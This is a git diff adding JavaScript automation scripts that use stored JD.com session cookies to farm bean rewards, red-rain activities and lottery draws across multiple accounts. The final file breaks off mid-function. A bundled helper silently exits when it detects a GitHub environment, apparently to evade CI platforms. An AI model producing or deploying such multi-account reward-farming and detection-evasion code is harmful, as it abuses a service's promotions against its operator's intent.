`https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" + } + } +} + +function getRedRainIds(url = "https://raw.githubusercontent.com/gitupdate/updateTeam/master/redrain.json") { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_ljd_xh.js b/jd_ljd_xh.js new file mode 100644 index 0000000..50a7f3e --- /dev/null +++ b/jd_ljd_xh.js @@ -0,0 +1,390 @@ +/* + * 领京豆,修复死循环 + * By X1a0He + * https://github.com/X1a0He/jd_scripts_fixed + * */ +const $ = new Env("领京豆"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = "", message = ``; +$.taskInfos = []; +$.viewAppHome = false; +$.isLogin = true; +$.addedGrowth = 0; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => {cookiesArr.push(jdCookieNode[item]);}); + if(process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie),].filter((item) => !!item); +!(async() => { + if(!cookiesArr[0]){ + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { "open-url": "https://bean.m.jd.com/" }); + return; + } + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message += `[京东账号${$.index} ${$.UserName}] \n`; + console.log(`[京东账号${$.index} ${$.UserName}] 正在执行...`); + await main(); + message += `\n` + await $.wait(1000); + } + } + if($.isNode()){ + console.log('正在发送通知...') + await notify.sendNotify(`${$.name}`, `${message}`) + } +})().catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); +}).finally(() => { + $.done(); +}); + +function taskUrl_xh(functionId, body){ + return { + "url": `https://api.m.jd.com/client.action?functionId=${functionId}&body=${encodeURIComponent(body)}&appid=ld&client=m&clientVersion=9.4.4`, + 'headers': { + 'Cookie': cookie, + 'UserAgent': 'User-Agent: jdapp;JD4iPhone/167724 (iPhone; iOS 15.0; Scale/3.00)', + }, + } +} + +async function main(){ + $.addedGrowth = 0; + $.isLogin = true; + // 先领取早起福利 + console.log(`尝试领取早起福利...`) + await taskRequest("morningGetBean", `{"fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1","rnVersion":"3.9"}`) + // 获取任务列表 + if($.isLogin){ + do { + $.taskInfos = [] + await taskRequest("beanTaskList", `{"viewChannel":"AppHome"}`) + // 获取完任务列表就开始做任务了 + for(let task of $.taskInfos){ + // 任务未完成 + if(task.status === 1){ + for(let subTask of task.subTaskVOS){ + if(subTask.status === 1){ + console.log(`[${task.taskName}] 正在做任务...`) + if(task.waitDuration !== 0){ + await taskRequest("beanDoTask", `{"actionType":1,"taskToken":"${subTask.taskToken}"}`) + console.log(`[${task.taskName}] 等待 ${task.waitDuration} 秒`) + await $.wait(task.waitDuration * 1000) + await taskRequest("beanDoTask", `{"actionType":0,"taskToken":"${subTask.taskToken}"}`) + } else await taskRequest("beanDoTask", `{"actionType":0,"taskToken":"${subTask.taskToken}"}`) + } + await $.wait(3000) + } + } + } + } while($.taskInfos.length !== 0); + // 从京东首页领京豆进入 + if(!$.viewAppHome){ + console.log(`[从京东首页领京豆进入] 正在做任务...`) + await taskRequest("beanHomeIconDoTask", `{"flag":"0","viewChannel":"AppHome"}`) + if(!$.viewAppHome){ + await $.wait(2000) + await taskRequest("beanHomeIconDoTask", `{"flag":"1","viewChannel":"AppHome"}`) + } + } + message += `[本次执行] 获得成长值:${$.addedGrowth}\n` + } +} + +function taskRequest(functionId, body){ + return new Promise((resolve) => { + let options = taskUrl_xh(functionId, body); + $.get(options, (err, resp, data) => { + try{ + if(safeGet(data)){ + data = JSON.parse(data); + if(data.code === "3"){ + console.log(`用户未登录`) + message += `用户未登录` + $.isLogin = false; + return; + } + if(data.code === "0"){ + switch(functionId){ + case "morningGetBean": + if(data.data.awardResultFlag === "1"){ + console.log(`${data.data.bizMsg}, 获得京豆 ${data.data.beanNum} 个\n`) + message += `[早起福利] 获得京豆 ${data.data.beanNum} 个\n` + } else { + console.log(`执行失败,原因:${data.data.bizMsg}\n`) + message += `[早起福利] ${data.data.bizMsg} \n` + } + break; + case "beanTaskList" : + for(let task of data.data.taskInfos) task.status === 1 ? $.taskInfos.push(task) : '' + $.viewAppHome = data.data.viewAppHome.doneTask + break; + case "beanDoTask" : + if(typeof data.errorCode === "undefined"){ + if(data.data.taskStatus === 1 || data.data.taskStatus === 2){ + console.log(`${data.data.bizMsg}\n`) + $.addedGrowth += data.data.growthResult.addedGrowth + } + } else console.log(`${data.data.errorMessage}\n`) + break; + case "beanHomeIconDoTask": + if(typeof data.errorCode === "undefined"){ + $.addedGrowth += 50; + console.log(`${data.data.remindMsg}\n`) + } else console.log(`${data.errorMessage}`) + } + } + } + } catch(e){ + console.log(e); + } finally{ + resolve(); + } + }); + }); +} + +function safeGet(data){ + try{ + if(typeof JSON.parse(data) == "object"){ + return true; + } + } catch(e){ + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){this.env = t} + + send(t, e = "GET"){ + t = "string" == typeof t ? { url: t } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s)})}) + } + + get(t){return this.send.call(this.env, t)} + + post(t){return this.send.call(this.env, t, "POST")} + } + + return new class{ + constructor(t, e){this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)} + + isNode(){return "undefined" != typeof module && !!module.exports} + + isQuanX(){return "undefined" != typeof $task} + + isSurge(){return "undefined" != typeof $httpClient && "undefined" == typeof $loon} + + isLoon(){return "undefined" != typeof $loon} + + toObj(t, e = null){try{return JSON.parse(t)} catch{return e}} + + toStr(t, e = null){try{return JSON.stringify(t)} catch{return e}} + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{s = JSON.parse(this.getdata(t))} catch{} + return s + } + + setjson(t, e){try{return this.setdata(JSON.stringify(t), e)} catch{return !1}} + + getScript(t){return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i))})} + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{return JSON.parse(this.fs.readFileSync(i))} catch(t){return {}} + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)} + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){e = ""} + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null} + + setval(t, e){return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null} + + initGotEnv(t){this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))} + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){this.logErr(t)} + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)}); else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); else if(this.isNode()){ + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { url: e } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))} + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){return new Promise(e => setTimeout(e, t))} + + done(t = {}){ + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_lottery.js b/jd_lottery.js new file mode 100644 index 0000000..14deeea --- /dev/null +++ b/jd_lottery.js @@ -0,0 +1,360 @@ +/* +[task_local] +#joy抽奖机通用 +0 0,10 * * * jd_lottery.js, tag=joy抽奖机通用, enabled=true + +//变量:export JD_Lottery="id" 多个使用 @ 连接 + */ +const $ = new Env('joy抽奖机通用'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +let llnothing=true; +let lottery = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if (process.env.JD_Lottery && process.env.JD_Lottery != "") { + lottery = process.env.JD_Lottery.split('@'); +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (!lottery) { + console.log("\n衰仔你好,衰仔你好!!!\n你不填写变量 JD_Lottery,\n是不是玩我呢!\n我很生气,拒接执行o(╥﹏╥)o"); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for (let j = 0; j < lottery.length; j++) { + $.configCode = lottery[j] + console.log(`抽奖机ID就位: ${$.configCode},准备开始薅豆`); + await getUA() + await jdmodule(); + //await showMsg(); + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (vo.taskName == '每日签到') { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + 